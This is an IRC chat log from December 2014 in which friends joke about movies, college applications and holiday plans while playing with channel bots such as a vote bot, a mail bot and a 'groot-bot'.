[2014-12-23T16:44:47-0500] <&Pidgey> Proposal (4) to deop nezorg (Y: 6, N 1).
[2014-12-23T16:44:47-0500] <&Pidgey> Proposal (8) to deop alokpathy (Y: 0, N 1).
[2014-12-23T16:44:47-0500] <&Pidgey> Proposal (3) to deop awe (Y: 3, N 3).
[2014-12-23T16:44:47-0500] <&Pidgey> Proposal (10) to oper should_check_if_the_person_is_registered (Y: 1, N 1).
[2014-12-23T16:44:47-0500] <&Pidgey> Proposal (0) to oper Hcnsh (Y: 1, N 4).
[2014-12-23T16:44:47-0500] <&Pidgey> Proposal (11) to deop should_check_if_the_person_is_an_operator (Y: 1, N 0).
[2014-12-23T16:44:52-0500] <@awe> .vote 4 yea
[2014-12-23T16:44:52-0500] <&Pidgey> You've already voted in that proposal.
[2014-12-23T16:44:57-0500] <@awe> .vote 11 nay
[2014-12-23T16:44:57-0500] <&Pidgey> Vote issued.
[2014-12-23T16:44:59-0500] <@awe> .vote 10 nay
[2014-12-23T16:44:59-0500] <&Pidgey> You've already voted in that proposal.
[2014-12-23T16:45:03-0500] <@awe> .vote 9 nay
[2014-12-23T16:45:03-0500] <&Pidgey> You've already voted in that proposal.
[2014-12-23T16:45:11-0500] <@awe> .vote 7 nay
[2014-12-23T16:45:11-0500] <&Pidgey> Vote issued.
[2014-12-23T16:45:20-0500] <@awe> .vote 8 nay
[2014-12-23T16:45:21-0500] <&Pidgey> Vote issued.
[2014-12-23T16:45:39-0500] <@awe> Almost none of the active proposals would do anything.
[2014-12-23T16:46:30-0500] <alokpathy> Lol yeah.
[2014-12-23T16:50:41-0500] <@awe> Well, unless someone registered one of the useless names that Ezra tried to oper.
[2014-12-23T16:50:52-0500] <@awe> alokpathy: so, Notch bought a $70m mansion in AL.
[2014-12-23T16:50:52-0500] <@awe> LA*
[2014-12-23T16:52:46-0500] <alokpathy> Yeah
[2014-12-23T16:52:49-0500] <alokpathy> He be rich.
[2014-12-23T16:54:46-0500] <@awe> So rich
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[2014-12-23T16:57:18-0500] <alokpathy> TJ's here.
[2014-12-23T16:57:20-0500] <Tamini_> hi friends <3
[2014-12-23T16:57:23-0500] <Tamini_> whats up now
[2014-12-23T16:57:32-0500] <Tamini_> what did i miss what do you mean tj's here
[2014-12-23T16:57:39-0500] <alokpathy> Tamini_: When does your break end?
[2014-12-23T16:57:45-0500] <alokpathy> Tamini_: You and ubuntor came at the same time.
[2014-12-23T16:57:48-0500] <Tamini_> alokpathy: uhhh late
[2014-12-23T16:57:51-0500] <alokpathy> As in?
[2014-12-23T16:57:59-0500] <Tamini_> like the 5th?
[2014-12-23T16:58:02-0500] <Tamini_> probably?
[2014-12-23T16:58:05-0500] <alokpathy> Oh same
[2014-12-23T16:58:06-0500] <Tamini_> is that a monday?
[2014-12-23T16:58:08-0500] <alokpathy> Yeah
[2014-12-23T16:58:08-0500] <Tamini_> <3
[2014-12-23T16:58:14-0500] <Tamini_> we have a longer break than youuuu
[2014-12-23T16:58:14-0500] <alokpathy> We should watch The Interview :P
[2014-12-23T16:58:16-0500] <Tamini_> :P
[2014-12-23T16:58:22-0500] <Tamini_> oh damn yeah
[2014-12-23T16:58:23-0500] <Tamini_> how tho
[2014-12-23T16:58:36-0500] <alokpathy> Tamini_: It'll probably be online somewhere.
[2014-12-23T16:58:41-0500] <alokpathy> They're releasing it in certain theaters now.
[2014-12-23T16:58:44-0500] <Tamini_> wanna skypestream?
[2014-12-23T16:58:51-0500] <Tamini_> i'm up for that
[2014-12-23T16:58:53-0500] <alokpathy> Yeah sure.
[2014-12-23T16:58:56-0500] <alokpathy> Not now, but later in break.
[2014-12-23T16:59:05-0500] <Tamini_> yeah, definitely
[2014-12-23T16:59:20-0500] <alokpathy> It has a 9.9 on IMDb :P
[2014-12-23T16:59:31-0500] <Tamini_> of course :P
[2014-12-23T16:59:34-0500] <Tamini_> sounds really nice :)
[2014-12-23T16:59:38-0500] <alokpathy> Totally accurate.
[2014-12-23T16:59:39-0500] <Tamini_> im here for citizen4, ttyl
[2014-12-23T16:59:40-0500] <alokpathy> Mhm
[2014-12-23T16:59:43-0500] <Tamini_> <3333
[2014-12-23T16:59:48-0500] <Tamini_> ill tell you how it goes later
[2014-12-23T16:59:55-0500] <alokpathy> Lol alright.
[2014-12-23T17:00:03-0500] <alokpathy> See ya.
[2014-12-23T17:01:06-0500] <ubuntor> huh
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[2014-12-23T18:11:24-0500] Pidgey sets mode +v JacobEdelman
[2014-12-23T18:11:57-0500] <+JacobEdelman> @tell alokpathy I left you this message so you wouldn't feel alone next time you get mail
[2014-12-23T18:11:58-0500] <mailbot> JacobEdelman: I'll let them know!
[2014-12-23T18:12:12-0500] <alokpathy> wat
[2014-12-23T18:12:12-0500] <mailbot> alokpathy: Moments ago, JacobEdelman said I left you this message so you wouldn't feel alone next time you get mail.
[2014-12-23T18:12:20-0500] <+JacobEdelman> oh foey
[2014-12-23T18:12:23-0500] <+JacobEdelman> you were on
[2014-12-23T18:12:42-0500] <alokpathy> :P
[2014-12-23T18:13:04-0500] <@awe> Lol.
[2014-12-23T18:13:10-0500] <@awe> That was ineffective, JacobEdelman.
[2014-12-23T18:13:15-0500] <+JacobEdelman> hmm...
[2014-12-23T18:13:40-0500] <+JacobEdelman> awe we need a note to self bot
[2014-12-23T18:13:49-0500] <@awe> Meh.
[2014-12-23T18:14:01-0500] <@awe> Submit a PR to mailbot then.
[2014-12-23T18:55:08-0500] <alokpathy> awe: What did you put as your favorite word for Princeton?
[2014-12-23T19:04:01-0500] <@awe> alokpathy: I don't remember.
[2014-12-23T19:04:06-0500] <@awe> Oh.
[2014-12-23T19:04:08-0500] <@awe> Copacetic.
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[2014-12-23T19:04:10-0500] <@awe> I think.
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[2014-12-23T19:12:07-0500] <Tamini_> lol
[2014-12-23T19:12:14-0500] <Tamini_> that was amazing
[2014-12-23T19:12:22-0500] <alokpathy> Favorite quote: "The fear of loss is a path to the Dark Side."
[2014-12-23T19:12:24-0500] <Tamini_> nezorg: it was so good omg
[2014-12-23T19:30:28-0500] <+JacobEdelman> alokpathy: have you watched the star wars movies? (also, have you watched the star trek movies)
[2014-12-23T19:34:42-0500] <Tamini_> JacobEdelman: have i ever told you
[2014-12-23T19:34:48-0500] <Tamini_> i've never watched them
[2014-12-23T19:35:23-0500] <+JacobEdelman> ...
[2014-12-23T19:35:27-0500] <+JacobEdelman> ...
[2014-12-23T19:35:42-0500] <+JacobEdelman> @tell Tamini_ I'm not talking to you until you watch the star wars movies
[2014-12-23T19:35:42-0500] <mailbot> JacobEdelman: I'll let them know!
[2014-12-23T19:35:58-0500] <Tamini_> are you just going to send me mail instead
[2014-12-23T19:35:58-0500] <mailbot> Tamini_: Moments ago, JacobEdelman said I'm not talking to you until you watch the star wars movies.
[2014-12-23T19:36:39-0500] <alokpathy> JacobEdelman: Heh
[2014-12-23T19:36:40-0500] <alokpathy> No and no
[2014-12-23T19:36:50-0500] <alokpathy> Well, I think I watched one Star Wars movie
[2014-12-23T19:36:54-0500] <alokpathy> I don't remember what it was.
[2014-12-23T19:36:58-0500] <Tamini_> alokpathy: so we can not talk to alok together?
[2014-12-23T19:37:04-0500] <+JacobEdelman> @tell alokpathy no talking to you either
[2014-12-23T19:37:04-0500] <mailbot> JacobEdelman: I'll let them know!
[2014-12-23T19:37:24-0500] <alokpathy> Tamini_: Okay, change of plans
[2014-12-23T19:37:24-0500] <mailbot> alokpathy: Moments ago, JacobEdelman said no talking to you either.
[2014-12-23T19:37:32-0500] <alokpathy> Instead of watching The Interview
[2014-12-23T19:37:38-0500] <alokpathy> We're watching The Interview
[2014-12-23T19:37:41-0500] <alokpathy> and all of Star Wars
[2014-12-23T19:37:56-0500] <Tamini_> i meant not taln to jacob
[2014-12-23T19:37:59-0500] <Tamini_> and lolol
[2014-12-23T19:38:01-0500] <Tamini_> yes maybe
[2014-12-23T19:38:06-0500] <Tamini_> that'll take all day tho
[2014-12-23T19:38:08-0500] <alokpathy> Yes definitely.
[2014-12-23T19:38:11-0500] <alokpathy> Irrelevant. 
[2014-12-23T19:38:19-0500] <alokpathy> Did you have better things to do?
[2014-12-23T19:38:21-0500] <Tamini_> maybe after your college apps and my summer apps
[2014-12-23T19:38:22-0500] <alokpathy> I didn't think so.
[2014-12-23T19:38:23-0500] <Tamini_> nope
[2014-12-23T19:38:39-0500] <alokpathy> When are you finishing your summer apps?
[2014-12-23T19:38:46-0500] <+JacobEdelman> @tell alokpathy fine, I'll come over
[2014-12-23T19:38:46-0500] <mailbot> JacobEdelman: I'll let them know!
[2014-12-23T19:38:54-0500] <+JacobEdelman> @tell alokpathy theres a special order and everything
[2014-12-23T19:38:54-0500] <mailbot> JacobEdelman: I'll let them know!
[2014-12-23T19:38:58-0500] <alokpathy> JacobEdelman: Wait what
[2014-12-23T19:38:58-0500] <mailbot> alokpathy: Moments ago, JacobEdelman said fine, I'll come over.
[2014-12-23T19:38:58-0500] <mailbot> alokpathy: Moments ago, JacobEdelman said theres a special order and everything.
[2014-12-23T19:39:05-0500] <+JacobEdelman> @tell alokpathy 4 5 2 3 6
[2014-12-23T19:39:05-0500] <mailbot> JacobEdelman: I'll let them know!
[2014-12-23T19:39:06-0500] <alokpathy> Come over?
[2014-12-23T19:39:06-0500] <mailbot> alokpathy: Moments ago, JacobEdelman said 4 5 2 3 6.
[2014-12-23T19:39:12-0500] <alokpathy> JacobEdelman: stahp
[2014-12-23T19:39:16-0500] <+JacobEdelman> fine
[2014-12-23T19:39:17-0500] <+JacobEdelman> I
[2014-12-23T19:39:22-0500] <+JacobEdelman> ll come over to your house
[2014-12-23T19:39:26-0500] <+JacobEdelman> to watch them
[2014-12-23T19:39:31-0500] <+JacobEdelman> once college apps are over
[2014-12-23T19:39:33-0500] <Tamini_> lolol
[2014-12-23T19:39:37-0500] <Tamini_> are you guys going to skype me
[2014-12-23T19:39:44-0500] <Tamini_> also JacobEdelman: rsi or no
[2014-12-23T19:39:45-0500] <alokpathy> Tamini_: No, you're coming too.
[2014-12-23T19:39:55-0500] <+JacobEdelman> Tamini_: I have a thing
[2014-12-23T19:40:00-0500] <Tamini_> alokpathy: a bit far man
[2014-12-23T19:40:01-0500] <+JacobEdelman> Tamini_: summer program
[2014-12-23T19:40:03-0500] <+JacobEdelman> already
[2014-12-23T19:40:08-0500] <Tamini_> JacobEdelman: a thing pls
[2014-12-23T19:40:15-0500] <alokpathy> Tamini_: Fine
[2014-12-23T19:40:23-0500] <alokpathy> JacobEdelman: We're going to Alexandria next week.
[2014-12-23T19:40:25-0500] <alokpathy> Pack your bags.
[2014-12-23T19:40:40-0500] <Tamini_> I don't live in alexandria
[2014-12-23T19:40:42-0500] <Tamini_> good try tho
[2014-12-23T19:40:46-0500] <Tamini_> hey you're a senior
[2014-12-23T19:40:50-0500] <alokpathy> Dammit FB lied to me.
[2014-12-23T19:40:52-0500] <alokpathy> Tamini_: Yes
[2014-12-23T19:40:55-0500] <Tamini_> come visit the nonexistent colleges in the area
[2014-12-23T19:41:08-0500] <alokpathy> UVa is pretty well-known.
[2014-12-23T19:41:15-0500] <+JacobEdelman> fine
[2014-12-23T19:41:16-0500] <Tamini_> uva is kinda far
[2014-12-23T19:41:19-0500] <+JacobEdelman> I'll go
[2014-12-23T19:41:20-0500] <+JacobEdelman> I
[2014-12-23T19:41:21-0500] <Tamini_> drive down man
[2014-12-23T19:41:23-0500] <+JacobEdelman> I
[2014-12-23T19:41:24-0500] <alokpathy> Tamini_: VTech?
[2014-12-23T19:41:24-0500] <Tamini_> come see me
[2014-12-23T19:41:28-0500] <Tamini_> you can crash in my basement
[2014-12-23T19:41:30-0500] <+JacobEdelman> I'm in nyc already
[2014-12-23T19:41:31-0500] <Tamini_> still far.
[2014-12-23T19:41:37-0500] <Tamini_> JacobEdelman: until when
[2014-12-23T19:41:40-0500] <alokpathy> Tamini_: Where are you even LOL
[2014-12-23T19:41:47-0500] <Tamini_> im going sunday/monday
[2014-12-23T19:41:50-0500] <Tamini_> alokpathy: falls church
[2014-12-23T19:41:51-0500] <+JacobEdelman> wednesday
[2014-12-23T19:41:57-0500] <+JacobEdelman> I'm leaving late wednesday
[2014-12-23T19:41:59-0500] <+JacobEdelman> this week
[2014-12-23T19:42:00-0500] <+JacobEdelman> sorry
[2014-12-23T19:42:05-0500] <Tamini_> so like tomorrow
[2014-12-23T19:42:12-0500] <+JacobEdelman> I'll steal the wall street bull and ride down to  tamini
[2014-12-23T19:42:15-0500] <alokpathy> Tamini_: How far is that from Richmond?
[2014-12-23T19:42:17-0500] <Tamini_> lolol
[2014-12-23T19:42:17-0500] <+JacobEdelman> it looks fast
[2014-12-23T19:42:33-0500] <alokpathy> JacobEdelman: Silly Jacob
[2014-12-23T19:42:34-0500] <alokpathy> take the subway
[2014-12-23T19:42:39-0500] <alokpathy> or a taxi.
[2014-12-23T19:42:39-0500] <+JacobEdelman> http://funlxy.files.wordpress.com/2010/08/wall-street-bull.jpg
[2014-12-23T19:42:43-0500] <+JacobEdelman> thats my ride
[2014-12-23T19:42:43-0500] <alokpathy> "Where you headed?"
[2014-12-23T19:42:46-0500] <alokpathy> "Virginia."
[2014-12-23T19:42:50-0500] <Tamini_> alokpathy: 2 hours
[2014-12-23T19:42:50-0500] <+JacobEdelman> haha
[2014-12-23T19:42:54-0500] <+JacobEdelman> alokpathy: uber
[2014-12-23T19:42:55-0500] <+JacobEdelman> duh
[2014-12-23T19:42:56-0500] <alokpathy> Tamini_: South?
[2014-12-23T19:42:57-0500] <+JacobEdelman> :P
[2014-12-23T19:43:00-0500] <alokpathy> JacobEdelman: Exactly
[2014-12-23T19:43:01-0500] <Tamini_> north
[2014-12-23T19:43:07-0500] <Tamini_> we're in NORTHERN va man
[2014-12-23T19:43:08-0500] <alokpathy> Tamini_: Wow, you're very South
[2014-12-23T19:43:12-0500] <Tamini_> im out in dc rn
[2014-12-23T19:43:19-0500] <Tamini_> that far north
[2014-12-23T19:43:22-0500] <alokpathy> Wait I meant like
[2014-12-23T19:43:29-0500] <+JacobEdelman> I have freinds around DC
[2014-12-23T19:43:34-0500] <+JacobEdelman> well, other freinds
[2014-12-23T19:43:37-0500] <alokpathy> is Richmond south from you
[2014-12-23T19:43:42-0500] <alokpathy> but I guess the answer is no.
[2014-12-23T19:43:45-0500] <alokpathy> Yo DC is like
[2014-12-23T19:43:47-0500] <alokpathy> 5 hours from here.
[2014-12-23T19:43:58-0500] <Tamini_> JacobEdelman: i could come up and crash in leora's basement
[2014-12-23T19:44:04-0500] <Tamini_> alokpathy: hey, i drove to your town once
[2014-12-23T19:44:10-0500] <alokpathy> JacobEdelman: Lol Ambika told us a story of how she planned on taking a train to Philly
[2014-12-23T19:44:13-0500] <alokpathy> and ended up in DC.
[2014-12-23T19:44:18-0500] <Tamini_> wat
[2014-12-23T19:44:36-0500] <alokpathy> Tamini_: We've driven down to DC before :P
[2014-12-23T19:44:39-0500] <alokpathy> We've driven to Florida.
[2014-12-23T19:44:51-0500] <alokpathy> I think that's our longest drive ever.
[2014-12-23T19:45:07-0500] <Tamini_> alokpathy: you didnt see me though
[2014-12-23T19:45:14-0500] <+JacobEdelman> alok, you still have those rocket enanced horse drawn chariots we were using?\
[2014-12-23T19:45:15-0500] <alokpathy> Tamini_: I didn't know you in like 6th grade.
[2014-12-23T19:45:17-0500] <Tamini_> i drove to princeton AND hung out with you
[2014-12-23T19:45:19-0500] <Tamini_> lolol
[2014-12-23T19:45:22-0500] <alokpathy> JacobEdelman: Yes.
[2014-12-23T19:45:28-0500] <+JacobEdelman> good
[2014-12-23T19:45:30-0500] <alokpathy> Tamini_: Fine, come to Boston and we'll hang out :P
[2014-12-23T19:45:32-0500] <alokpathy> I'll go too.
[2014-12-23T19:45:35-0500] <+JacobEdelman> and you no longer need to adopt me
[2014-12-23T19:45:43-0500] <alokpathy> JacobEdelman: Perfect.
[2014-12-23T19:45:56-0500] <+JacobEdelman> (alok and I have elaborte plans to rob banks that involved him adopting me, my brother, and a pair of horses)
[2014-12-23T19:46:00-0500] <+JacobEdelman> *had
[2014-12-23T19:46:10-0500] <+JacobEdelman> (we executed them so now its a past tense)
[2014-12-23T19:46:24-0500] <alokpathy> They worked well.
[2014-12-23T19:46:28-0500] <+JacobEdelman> yup
[2014-12-23T19:46:29-0500] <alokpathy> I only got 2 years in prison.
[2014-12-23T19:46:37-0500] <Tamini_> alokpathy: i could go visit colleges
[2014-12-23T19:46:46-0500] <Tamini_> also hmmt
[2014-12-23T19:46:54-0500] <alokpathy> Tamini_: Lolol go on a college tour during HMMT.
[2014-12-23T19:47:08-0500] <alokpathy> After team and before guts.
[2014-12-23T19:48:56-0500] <+JacobEdelman> alokpathy: I thought it was three, (I mean, i remember my brother got 1, I got 4, and the horses each got 2)
[2014-12-23T19:49:15-0500] <alokpathy> I got out early.
[2014-12-23T19:49:30-0500] <+JacobEdelman> ah
[2014-12-23T19:49:46-0500] <+JacobEdelman> got out as in they let you out or ...?
[2014-12-23T19:49:55-0500] <alokpathy> Shh
[2014-12-23T19:50:07-0500] <+JacobEdelman> (they kicked me out when I started singing)
[2014-12-23T19:50:21-0500] <+JacobEdelman> (I'm one of the special few who gets out on bad behavior)
[2014-12-23T19:50:37-0500] <+JacobEdelman> also, the korra ending was kinda weird
[2014-12-23T19:54:16-0500] <alokpathy> Don't spoil it.
[2014-12-23T19:54:20-0500] <alokpathy> I've only watched two seasons.
[2014-12-23T19:54:27-0500] <+JacobEdelman> ...
[2014-12-23T19:54:35-0500] <+JacobEdelman> you wouldn't believe me if I told you
[2014-12-23T19:54:40-0500] <+JacobEdelman> well, you probaly wouldn't
[2014-12-23T19:54:47-0500] <+JacobEdelman> (get there fast)
[2014-12-23T19:54:47-0500] <alokpathy> Lol I binge-watched the second season after the SAT.
[2014-12-23T19:54:51-0500] <+JacobEdelman> good
[2014-12-23T19:54:59-0500] <+JacobEdelman> now binge watch the third season
[2014-12-23T19:55:03-0500] <+JacobEdelman> unlike the second its good
[2014-12-23T19:55:08-0500] <alokpathy> "I deserve an hour of relaxation."
[2014-12-23T19:55:13-0500] <alokpathy> [watches Korra for 6 hours]
[2014-12-23T19:55:14-0500] <+JacobEdelman> haha
[2014-12-23T19:55:51-0500] <Tamini_> WAIT ALOK OMG
[2014-12-23T19:56:03-0500] <Tamini_> guess what i just found in my phone
[2014-12-23T19:56:50-0500] <Tamini_> https://i.imgur.com/wD4BxcQ.jpg
[2014-12-23T19:56:58-0500] <Tamini_> (if you cant tell, thats F6)
[2014-12-23T19:57:29-0500] <alokpathy> Tamini_: I cannot read that at all
[2014-12-23T19:57:49-0500] <Tamini_> its a flowchart of F6
[2014-12-23T19:58:04-0500] <Tamini_> you dont need to read it just look at the pretty pictures
[2014-12-23T19:58:17-0500] <alokpathy> F6?
[2014-12-23T20:01:00-0500] <Tamini_> fractran 6
[2014-12-23T20:01:07-0500] <alokpathy> Oh LOL
[2014-12-23T20:01:14-0500] <alokpathy> I thought you  meant the key
[2014-12-23T20:01:17-0500] <alokpathy> and I was like
[2014-12-23T20:01:19-0500] <alokpathy> wtf are you doing
[2014-12-23T20:02:41-0500] <Tamini_> LOL
[2014-12-23T20:02:45-0500] <Tamini_> YES OBVIOUSLY
[2014-12-23T20:04:40-0500] <Tamini_> now tell me how impressed you are pls
[2014-12-23T20:06:48-0500] <alokpathy> It looks cool :P
[2014-12-23T20:12:26-0500] <Tamini_> <3
[2014-12-23T20:50:17-0500] <ubuntor> omg bionicle is being rebooted
[2014-12-23T21:18:33-0500] <+JacobEdelman> ... bionicle seems a bit bad to me, I mean, the game came before the show....
[2014-12-23T21:18:36-0500] <+JacobEdelman> didn't it?
[2014-12-23T21:58:00-0500] <alokpathy> Tamini_: Wait what does expii do?
[2014-12-23T22:02:00-0500] <ubuntor> alokpathy: it's like a learning resource written by the community
[2014-12-23T22:02:11-0500] <ubuntor> ot
[2014-12-23T22:02:14-0500] <ubuntor> it's pretty neat
[2014-12-23T22:03:09-0500] <alokpathy> Oh nice.
[2014-12-23T22:03:17-0500] <alokpathy> Btw, I'm finally watching Guardians.
[2014-12-23T22:04:35-0500] <ubuntor> awesome
[2014-12-23T22:08:55-0500] <+Tamini> alokpathy: it's amazing
[2014-12-23T22:08:56-0500] <+Tamini> is it not
[2014-12-23T22:09:08-0500] <+Tamini> alokpathy: you write stuff
[2014-12-23T22:09:11-0500] <+Tamini> you put it on a site
[2014-12-23T22:09:14-0500] <+Tamini> it does stuff
[2014-12-23T22:09:15-0500] <+Tamini> <3
[2014-12-23T22:15:05-0500] <alokpathy> Tamini: Yo nice
[2014-12-23T22:15:27-0500] <+Tamini> alokpathy: which part are you on
[2014-12-23T22:15:32-0500] <+Tamini> i watched it with a friend and like
[2014-12-23T22:15:36-0500] <+Tamini> i was just fangirling the entire time
[2014-12-23T22:16:57-0500] <+JacobEdelman> guardains of the galaxy
[2014-12-23T22:17:31-0500] <alokpathy> Tamini: The beginning
[2014-12-23T22:17:34-0500] <alokpathy> He was like
[2014-12-23T22:17:37-0500] <alokpathy> singing and dancing
[2014-12-23T22:17:42-0500] <+Tamini> LOL
[2014-12-23T22:17:43-0500] <+Tamini> oh my god
[2014-12-23T22:17:53-0500] <alokpathy> And now there's a creepy guy
[2014-12-23T22:18:10-0500] <alokpathy> I got past the part where his mom died
[2014-12-23T22:18:11-0500] <alokpathy> and I was like
[2014-12-23T22:18:12-0500] <alokpathy> :(
[2014-12-23T22:20:41-0500] <+Tamini> aw
[2014-12-23T22:58:11-0500] <alokpathy> Wow
[2014-12-23T22:58:23-0500] <alokpathy> that "broken glass" was clearly plastic wrap
[2014-12-23T23:00:24-0500] <+Tamini> lolol
[2014-12-23T23:09:02-0500] <+JacobEdelman> I'm groot
[2014-12-23T23:11:42-0500] <+Tamini> omg groot
[2014-12-23T23:11:42-0500] <+Tamini> <3
[2014-12-23T23:12:21-0500] <alokpathy> Lol the guy who couldn't understand metaphors.
[2014-12-23T23:12:51-0500] <alokpathy> "Nothing goes over my head."
[2014-12-23T23:13:42-0500] <+Tamini> lolol
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[2014-12-23T23:20:41-0500] <alokpathy> lololol
[2014-12-23T23:20:48-0500] <alokpathy> "You're making me beat up grass."
[2014-12-23T23:21:15-0500] <+Tamini> lolol
[2014-12-23T23:21:15-0500] <+Tamini> <3
[2014-12-23T23:21:24-0500] <+Tamini> also in our school's irc
[2014-12-23T23:21:30-0500] <+Tamini> my friend's boyfriend is trying to steal my boyfriend
[2014-12-23T23:21:31-0500] <+Tamini> how2feel
[2014-12-23T23:22:19-0500] <jwoglom> Tamini: i think there's another side to this story that you're neglecting to mention
[2014-12-23T23:23:22-0500] <+Tamini> jwoglom: i see no other side wat ru talkin about
[2014-12-23T23:24:17-0500] groot-bot (groot-bot@pdgn-9t6.u9v.5uom9v.IP) joined the channel
[2014-12-23T23:24:26-0500] <+JacobEdelman> groot ?
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[2014-12-23T23:24:29-0500] <+JacobEdelman> ...
[2014-12-23T23:25:05-0500] <+Tamini> groot died D:
[2014-12-23T23:25:34-0500] <alokpathy> NO
[2014-12-23T23:25:39-0500] <alokpathy> NO SPOILING
[2014-12-23T23:25:40-0500] <alokpathy> OIFHBLS;IFHGFG
[2014-12-23T23:25:40-0500] <alokpathy> IHFD
[2014-12-23T23:25:41-0500] <alokpathy> G
[2014-12-23T23:25:42-0500] <alokpathy> STAHP
[2014-12-23T23:25:42-0500] <alokpathy> OMG
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[2014-12-23T23:25:52-0500] <+JacobEdelman> groot ?
[2014-12-23T23:25:52-0500] <groot-bot> I'm groot!
[2014-12-23T23:25:54-0500] <+JacobEdelman> groot
[2014-12-23T23:25:54-0500] <groot-bot> I'm groot!
[2014-12-23T23:25:58-0500] <+JacobEdelman> hi groot!
[2014-12-23T23:25:58-0500] <groot-bot> I'm groot!
[2014-12-23T23:27:03-0500] <alokpathy> groot
[2014-12-23T23:27:03-0500] <groot-bot> I'm groot!
[2014-12-23T23:27:17-0500] <+Tamini> groot
[2014-12-23T23:27:17-0500] <groot-bot> I'm groot!
[2014-12-23T23:27:19-0500] <+Tamini> <3
[2014-12-23T23:27:19-0500] Tamini (Tamini@pdgn-4jd.4t2.2bemd8.IP) left the channel ("Leaving")
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[2014-12-23T23:27:22-0500] Pidgey sets mode +v Tamini
[2014-12-23T23:27:25-0500] <+Tamini> i love this bot
[2014-12-23T23:27:27-0500] <+Tamini> groot
[2014-12-23T23:27:27-0500] <groot-bot> I'm groot!
[2014-12-23T23:27:31-0500] <jwoglom> groot?
[2014-12-23T23:27:31-0500] <groot-bot> I'm groot!
[2014-12-23T23:28:26-0500] <alokpathy> grootbot is best bot.
[2014-12-23T23:28:26-0500] <groot-bot> I'm groot!
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[2014-12-23T23:30:45-0500] <+JacobEdelman> okay
[2014-12-23T23:31:06-0500] <+JacobEdelman> now its running from hardmath123's backtick.town server
[2014-12-23T23:31:10-0500] <+JacobEdelman> so it will stay on all night
[2014-12-23T23:31:30-0500] <+JacobEdelman> you just need to say groot and it will respond
[2014-12-23T23:31:30-0500] <groot-bot> I'm groot!
[2014-12-23T23:31:47-0500] <alokpathy> The choice of music in this movie is interesting.
[2014-12-23T23:31:53-0500] <+JacobEdelman> @tell hardmath123 I'm running groot-bot on backtick.town
[2014-12-23T23:31:53-0500] <mailbot> JacobEdelman: I'll let them know!
[2014-12-23T23:32:20-0500] <+JacobEdelman> its good music
[2014-12-23T23:33:20-0500] <+Tamini> groot
[2014-12-23T23:33:20-0500] <groot-bot> I'm groot!
[2014-12-23T23:33:23-0500] <+Tamini> <3
[2014-12-23T23:34:30-0500] <+JacobEdelman> lots of credit to hardmath123
[2014-12-23T23:34:36-0500] <+JacobEdelman> 99% of it is his code
[2014-12-23T23:34:40-0500] <alokpathy> Oh sheet it's epic battle time.
[2014-12-23T23:35:44-0500] <+Tamini> odamn
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[2014-12-23T23:37:36-0500] <The_Master> groot-bot: hi
[2014-12-23T23:37:50-0500] <The_Master> whois groot
[2014-12-23T23:37:50-0500] <groot-bot> I'm groot!
[2014-12-23T23:38:00-0500] <The_Master> groot
[2014-12-23T23:38:00-0500] <groot-bot> I'm groot!
[2014-12-23T23:38:03-0500] <Hyper> I might be the only person I know who really wasn't into guardians of the galaxy :(
[2014-12-23T23:38:23-0500] <The_Master> I am groot!
[2014-12-23T23:38:23-0500] <groot-bot> I'm groot!
[2014-12-23T23:39:02-0500] <+Tamini> Hyper: why not? groot
[2014-12-23T23:39:02-0500] <groot-bot> I'm groot!
[2014-12-23T23:39:30-0500] <Hyper> Tamini: the plot just didn't interest me at all
[2014-12-23T23:39:39-0500] <Hyper> and I felt very little investment with the characters
[2014-12-23T23:40:37-0500] <The_Master> Hyper: it was meant to be silly
[2014-12-23T23:41:08-0500] <+Tamini> it was cute and silly, yeah
[2014-12-23T23:41:10-0500] <+Tamini> not much for depth
[2014-12-23T23:41:19-0500] <Hyper> I like me some depth :P
[2014-12-23T23:41:27-0500] <The_Master> Hyper: you are taking it to seriously, don't think about the plot or character development 
[2014-12-23T23:41:38-0500] <Hyper> q.q
[2014-12-23T23:46:30-0500] <alokpathy> Oh
[2014-12-23T23:46:31-0500] <alokpathy> shit
[2014-12-23T23:46:34-0500] <alokpathy> he's not dead
[2014-12-23T23:48:26-0500] <alokpathy> Oh, nevermind
[2014-12-23T23:50:13-0500] <The_Master> groot
[2014-12-23T23:50:13-0500] <groot-bot> I'm groot!
[2014-12-23T23:50:20-0500] <alokpathy> GROOT DIED
[2014-12-23T23:50:20-0500] <groot-bot> I'm groot!
[2014-12-23T23:50:21-0500] <alokpathy> D:
[2014-12-23T23:50:25-0500] <alokpathy> groot-bot: YOU DIED
[2014-12-23T23:50:34-0500] <alokpathy> god dammit he's still not dead
[2014-12-23T23:50:44-0500] <The_Master> he's groot
[2014-12-23T23:50:44-0500] <groot-bot> I'm groot!
[2014-12-23T23:50:47-0500] <+Tamini> groot
[2014-12-23T23:50:47-0500] <groot-bot> I'm groot!
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[2014-12-24T00:01:09-0500] <+JacobEdelman> its back!
[2014-12-24T00:01:36-0500] <+JacobEdelman> and I fixed it
[2014-12-24T00:01:39-0500] <+JacobEdelman> right, groot?
[2014-12-24T00:01:39-0500] <groot-bot> I am groot!
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[2014-12-24T00:03:08-0500] <+JacobEdelman> okay, its back
[2014-12-24T00:03:34-0500] <+JacobEdelman> groot, you still there after I left the ssh with my account?
[2014-12-24T00:03:34-0500] <groot-bot> I am groot!
[2014-12-24T00:03:43-0500] <+JacobEdelman> okay, all is good
[2014-12-24T00:03:50-0500] <alokpathy> Finsihed it!
[2014-12-24T00:04:01-0500] <+JacobEdelman> ahhh, and?
[2014-12-24T00:04:02-0500] <alokpathy> That was pretty dang good.
[2014-12-24T00:04:13-0500] <+JacobEdelman> yup
[2014-12-24T00:04:15-0500] <+JacobEdelman> the music was good
[2014-12-24T00:04:25-0500] <alokpathy> The choice of music was weird, lol.
[2014-12-24T00:04:38-0500] <+JacobEdelman> and that metaphor, for how awesomeness is awesome in the sense of utterly being awesome, was awesome
[2014-12-24T00:04:48-0500] <alokpathy> Yes.
[2014-12-24T00:04:58-0500] <+JacobEdelman> also, groot was aweomse
[2014-12-24T00:04:58-0500] <groot-bot> I am groot!
[2014-12-24T00:05:01-0500] <+JacobEdelman> yes you are!
[2014-12-24T00:06:11-0500] <+JacobEdelman> now
[2014-12-24T00:06:14-0500] <+JacobEdelman> watch star wars
[2014-12-24T00:06:19-0500] <+JacobEdelman> or don't and just wait until later
[2014-12-24T00:08:08-0500] <alokpathy> Well, I have to watch Interstellar too
[2014-12-24T00:08:10-0500] <alokpathy> and The Interview
[2014-12-24T00:10:16-0500] <+Tamini> interstellar is good <3
[2014-12-24T00:10:47-0500] <alokpathy> The Interview got bad reviews in NK
